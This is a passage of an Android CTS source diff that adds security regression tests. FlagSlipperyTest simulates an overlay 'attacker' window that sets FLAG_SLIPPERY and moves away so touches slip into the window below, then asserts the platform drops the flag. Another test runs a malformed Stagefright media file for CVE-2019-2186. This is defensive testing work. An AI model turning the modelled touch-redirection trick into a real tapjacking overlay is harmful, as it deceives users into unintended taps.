+ fail("Expected ${MotionEvent.actionToString(action)}, but got a null event instead")
+ return
+ }
+ assertEquals("Expected ${MotionEvent.actionToString(action)}, but received " +
+ "${MotionEvent.actionToString(event.action)}", action, event.action)
+}
+
+private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Callback {
+ private val surfaceCreated = created
+ override fun surfaceCreated(holder: SurfaceHolder) {
+ surfaceCreated.countDown()
+ }
+
+ override fun surfaceDestroyed(holder: SurfaceHolder) {}
+
+ override fun surfaceChanged(holder: SurfaceHolder, format: Int, width: Int, height: Int) {}
+}
+
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+/**
+ * Non-system windows cannot use FLAG_SLIPPERY. In this test, we test that if a window specifies
+ * this flag, then the flag is dropped.
+ * It's not sufficient to simply check that the flag is dropped, so we test the actual behaviour of
+ * the windows.
+ * There are 2 windows in this test:
+ * 1) The bottom activity, which is full screen. It's called 'SlipperyEnterBottomActivity' because
+ * the touch will enter this activity from the slippery window
+ * 2) The top window, 'topView' (or 'surfaceView'/'embeddedView'). This is the window that specifies
+ * the FLAG_SLIPPERY in its layout params. We could also call it 'SlipperyExit' window, because
+ * the touch will exit from this window if the slippery behaviour is enabled.
+ *
+ * The test does the following:
+ * 1) Inject DOWN event to the slippery (top) window. When the top window receives the DOWN event,
+ * it moves itself out of the way, so that the user effectively sees that the finger is over the
+ * bottom activity instead.
+ * 2) Inject MOVE event. If the top window were indeed slippery, this MOVE event would end up going
+ * to the bottom activity, and would become a DOWN event instead (since until that point, activity
+ * does not have an active touch stream). However, since we are not allowing this top window to be
+ * slippery, the MOVE event should just continue to be delivered to the top window.
+ * In this test, we are checking that the top window received the MOVE event, and that the bottom
+ * window did not receive any events.
+ *
+ * There are several ways to specify FLAG_SLIPPERY on a window (or a generic entity that receives
+ * touch). These are:
+ * 1) WindowManagerService::addWindow
+ * 2) WindowManagerService::relayoutWindow
+ * 3) WindowManagerService::grantInputChannel
+ *
+ * So we should test all 3 of these approaches. The first 2 are similar, so they share the same
+ * test code. The third approach requires adding an embedded window, and the code for that test was
+ * forked to avoid excessive branching.
+ */
+class FlagSlipperyTest {
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+ private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
+ private lateinit var windowManager: WindowManager
+
+ private val nonSlipperyLayoutParams = WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY,
+ FLAG_NOT_TOUCH_MODAL)
+ private val slipperyLayoutParams = WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY,
+ FLAG_NOT_TOUCH_MODAL or FLAG_SLIPPERY)
+ private val layoutCompleted = AtomicBoolean(false)
+ private val eventsForTopWindow: Queue<MotionEvent> = LinkedBlockingQueue()
+ private var viewToRemove: View? = null
+
+ @get:Rule
+ val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
+ SlipperyEnterBottomActivity::class.java)
+
+ @Before
+ fun setup() {
+ scenario = rule.getScenario()
+ windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+ WindowManager::class.java)
+ setDimensionsToQuarterScreen()
+
+ waitForWindowFocusOnBottomActivity()
+ }
+
+ @After
+ fun tearDown() {
+ eventsForTopWindow.clear()
+ if (viewToRemove != null) {
+ scenario.onActivity {
+ windowManager.removeViewImmediate(viewToRemove)
+ }
+ viewToRemove = null
+ }
+ }
+
+ // ========================== Regular window tests =============================================
+
+ private fun addWindow(slipperyWhenAdded: Boolean): View {
+ val view = View(instrumentation.targetContext)
+ scenario.onActivity {
+ view.setOnTouchListener(OnTouchListener(view))
+ view.setBackgroundColor(android.graphics.Color.RED)
+ layoutCompleted.set(false)
+ view.viewTreeObserver.addOnGlobalLayoutListener {
+ layoutCompleted.set(true)
+ }
+
+ if (slipperyWhenAdded) {
+ windowManager.addView(view, slipperyLayoutParams)
+ } else {
+ // Add the window with non-slippery params, and make it slippery via updateLayout
+ windowManager.addView(view, nonSlipperyLayoutParams)
+ }
+ }
+ waitForLayoutToComplete()
+ if (!slipperyWhenAdded) {
+ scenario.onActivity {
+ layoutCompleted.set(false)
+ windowManager.updateViewLayout(view, slipperyLayoutParams)
+ }
+ }
+ waitForLayoutToComplete()
+ PollingCheck.waitFor {
+ view.hasWindowFocus()
+ }
+ return view
+ }
+
+ private fun testWindowIsNotSlippery(slipperyWhenAdded: Boolean) {
+ // Start overlay (attacker) activity
+ // Attacker: create a window that is slippery and will capture the initial DOWN touch event,
+ // then will move itself out of the way, forcing the next MOVE event to go to the bottom
+ // window
+ val topView = addWindow(slipperyWhenAdded)
+ viewToRemove = topView
+ // Inject motion DOWN into the attacking activity. It will cause the activity to move to
+ // bottom right, which will make the next touch slip into the current window
+ assertBottomWindowDoesNotReceiveSlipperyTouch(topView)
+ }
+
+ /**
+ * Test a top window that tries to set FLAG_SLIPPERY when it is added to WindowManager
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = [157929241])
+ fun testWindowIsNotSlipperyWhenAdded() {
+ testWindowIsNotSlippery(true /* slipperyWhenAdded */)
+ }
+
+ /**
+ * Test a top window that tries to set FLAG_SLIPPERY during relayout
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = [157929241])
+ fun testWindowIsNotSlipperyAfterRelayout() {
+ testWindowIsNotSlippery(false /* slipperyWhenAdded */)
+ }
+
+ // ========================== Embedded window tests ============================================
+ private lateinit var mVr: SurfaceControlViewHost
+
+ private fun addEmbeddedHostWindow(): SurfaceView {
+ val surfaceView = SurfaceView(instrumentation.targetContext)
+ val surfaceCreated = CountDownLatch(1)
+ scenario.onActivity {
+ surfaceView.setZOrderOnTop(true)
+ // The color green should not be visible, but helps debug if there are any layout issues
+ // with the embedded view that will be positioned on top
+ surfaceView.setBackgroundColor(android.graphics.Color.GREEN)
+ surfaceView.viewTreeObserver.addOnGlobalLayoutListener {
+ layoutCompleted.set(true)
+ }
+ surfaceView.getHolder().addCallback(SurfaceCreatedCallback(surfaceCreated))
+ windowManager.addView(surfaceView, slipperyLayoutParams)
+ }
+ waitForLayoutToComplete()
+ surfaceCreated.await()
+ PollingCheck.waitFor {
+ surfaceView.hasWindowFocus()
+ }
+ return surfaceView
+ }
+
+ private fun addEmbeddedView(surfaceView: SurfaceView): View {
+ val embeddedViewDrawn = CountDownLatch(1)
+ val viewDrawnCallback = Runnable {
+ embeddedViewDrawn.countDown()
+ }
+ layoutCompleted.set(false)
+ val embeddedView = View(instrumentation.targetContext)
+ scenario.onActivity {
+ embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
+ embeddedView.setBackgroundColor(android.graphics.Color.RED)
+ embeddedView.viewTreeObserver.addOnGlobalLayoutListener {
+ layoutCompleted.set(true)
+ }
+
+ embeddedView.viewTreeObserver.registerFrameCommitCallback(viewDrawnCallback)
+ mVr = SurfaceControlViewHost(it, it.getDisplay(), surfaceView.getHostToken())
+ mVr.setView(embeddedView, slipperyLayoutParams)
+ surfaceView.setChildSurfacePackage(mVr.getSurfacePackage())
+ embeddedView.invalidate()
+ }
+ embeddedViewDrawn.await()
+ embeddedView.viewTreeObserver.unregisterFrameCommitCallback(viewDrawnCallback)
+ waitForLayoutToComplete()
+ return embeddedView
+ }
+
+ /**
+ * Create an embedded slippery window and ensure it continues to receive touch after it moves
+ * away from the touched position.
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = [157929241])
+ fun testWindowlessWindowIsNotSlippery() {
+ val surfaceView = addEmbeddedHostWindow()
+ viewToRemove = surfaceView
+ // 'embeddedView' variable is used to retain the reference through the end of the test
+ @Suppress("UNUSED_VARIABLE") val embeddedView = addEmbeddedView(surfaceView)
+
+ assertBottomWindowDoesNotReceiveSlipperyTouch(surfaceView)
+ }
+
+ // ========================== Shared utility functions =========================================
+
+ private inner class OnTouchListener(relayoutView: View) : View.OnTouchListener {
+ val relayoutView = relayoutView
+ override fun onTouch(v: View, e: MotionEvent): Boolean {
+ if (e.action == MotionEvent.ACTION_DOWN) {
+ // Move the window out of the way by changing the gravity to bottom right
+ val wmlp = WindowManager.LayoutParams()
+ wmlp.copyFrom(slipperyLayoutParams)
+ wmlp.gravity = Gravity.BOTTOM or Gravity.RIGHT
+ layoutCompleted.set(false)
+ // Cannot always call 'updateViewLayout' for the incoming view, because in the
+ // embedded case, the provided embedded view is not attached to the window manager
+ // (and will therefore crash). Just use the view provided in the constructor.
+ windowManager.updateViewLayout(relayoutView, wmlp)
+ return true
+ }
+ eventsForTopWindow.add(MotionEvent.obtain(e))
+ return true
+ }
+ }
+
+ private fun assertBottomWindowDoesNotReceiveSlipperyTouch(topView: View) {
+ // Inject motion DOWN into the top view / window. It will cause the window to move to
+ // bottom right, which will make the next touch slip into the current window if the top
+ // window is actually slippery
+ val (x, y) = getViewCenterOnScreen(topView)
+ val downTime = SystemClock.uptimeMillis()
+ sendEvent(downTime, MotionEvent.ACTION_DOWN, x, y)
+ waitForLayoutToComplete()
+ sendEvent(downTime, MotionEvent.ACTION_MOVE, x + 1, y + 1)
+ scenario.onActivity {
+ // Bottom activity should not get any events
+ assertNull(it.getEvent())
+ // Top window should continue getting events.
+ assertAction(MotionEvent.ACTION_MOVE, eventsForTopWindow.poll())
+ assertNull(eventsForTopWindow.poll())
+ }
+ }
+
+ /**
+ * Wait until the bottom activity has window focus
+ */
+ private fun waitForWindowFocusOnBottomActivity() {
+ PollingCheck.waitFor {
+ var activityHasWindowFocus = AtomicBoolean(false)
+ scenario.onActivity { activity -> run {
+ activityHasWindowFocus.set(activity.hasWindowFocus())
+ }
+ }
+ activityHasWindowFocus.get()
+ }
+ }
+
+ private fun waitForLayoutToComplete() {
+ PollingCheck.waitFor {
+ layoutCompleted.get()
+ }
+ instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+ }
+
+ private fun setDimensionsToQuarterScreen() {
+ val bounds: Rect = windowManager.currentWindowMetrics.bounds
+ val width = (bounds.right - bounds.left) / 4
+ val height = (bounds.bottom - bounds.top) / 4
+ slipperyLayoutParams.width = width
+ slipperyLayoutParams.height = height
+ nonSlipperyLayoutParams.width = width
+ nonSlipperyLayoutParams.height = height
+ }
+
+ private fun sendEvent(downTime: Long, action: Int, x: Float, y: Float) {
+ val eventTime = when (action) {
+ MotionEvent.ACTION_DOWN -> downTime
+ else -> SystemClock.uptimeMillis()
+ }
+ val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
+ event.source = InputDevice.SOURCE_TOUCHSCREEN
+ instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+ }
+
+ companion object {
+ private val TAG = "FlagSlipperyTest"
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index f7d3edc8160..c291ee4bc38 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -34,10 +34,10 @@ import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
@@ -226,7 +226,7 @@ public class MotionEventTest {
}
private boolean isRunningInVR() {
- final Context context = InstrumentationRegistry.getTargetContext();
+ final Context context = mInstrumentation.getTargetContext();
return (context.getResources().getConfiguration().uiMode &
Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
}
diff --git a/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt b/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt
new file mode 100644
index 00000000000..cf1a2d20576
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.Activity
+import android.view.MotionEvent
+
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.Queue
+
+class SlipperyEnterBottomActivity : Activity() {
+ companion object {
+ private const val TAG = "SlipperyEnterBottomActivity"
+ }
+ private val eventQueue: Queue<MotionEvent> = LinkedBlockingQueue()
+
+ override fun onTouchEvent(motionEvent: MotionEvent): Boolean {
+ eventQueue.add(MotionEvent.obtain(motionEvent))
+ return true
+ }
+
+ fun getEvent(): MotionEvent? {
+ return eventQueue.poll()
+ }
+} \ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index de8a5efff38..76b6549c0d9 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1820,6 +1820,16 @@ public class StagefrightTest {
to prevent merge conflicts, add Q tests below this comment,
before any existing test methods
***********************************************************/
+ @Test
+ @AsbSecurityTest(cveBugId = 136175447)
+ public void testStagefright_cve_2019_2186() throws Exception {
+ long end = System.currentTimeMillis() + 180000; // 3 minutes from now
+ while (System.currentTimeMillis() < end) {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2186, "video/3gpp", 128, 96,
+ new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+ CrashUtils.SIGABRT));
+ }
+ }
@Test
@AsbSecurityTest(cveBugId = 140692129)
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index 2607eab072e..bd21f9f7245 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -27,6 +27,7 @@ import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
import android.hardware.SensorPrivacyManager.Sources.OTHER
import android.os.PowerManager
import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
import android.support.test.uiautomator.By
import android.view.KeyEvent
import androidx.test.platform.app.InstrumentationRegistry
@@ -330,6 +331,7 @@ abstract class SensorPrivacyBaseTest(
}
@Test
+ @AsbSecurityTest(cveBugId = [199550934])
fun testTapjacking() {
setSensor(true)
startTestOverlayApp(false)
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
index 551a78da683..e180e45d308 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
@@ -27,6 +27,7 @@ android_test_helper_app {
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "sts",
"general-tests",
],
srcs: ["src/**/*.kt"],
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
index 08ff0fcc363..585da24cedf 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
@@ -27,6 +27,7 @@ android_test_helper_app {
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "sts",
"general-tests",
],
srcs: ["src/**/*.kt"],
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index fae519c70ac..7a3b3c6eb1e 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -22,7 +22,7 @@ LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := FAKE
LOCAL_IS_HOST_MODULE := true
-LOCAL_COMPATIBILITY_SUITE := cts general-tests mts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests mts mts-media
# my_test_config_file := DynamicConfig.xml
# TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 0145e55b870..2faf29bb307 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -92,4 +92,7 @@
<!-- b/199996926 - No UWB stack support in AOSP for Android S -->
<option name="compatibility:exclude-filter" value="CtsUwbTestCases" />
+
+ <!-- b/183653612: CtsTransitionTestCases -->
+ <option name="compatibility:exclude-filter" value="CtsTransitionTestCases" />
</configuration>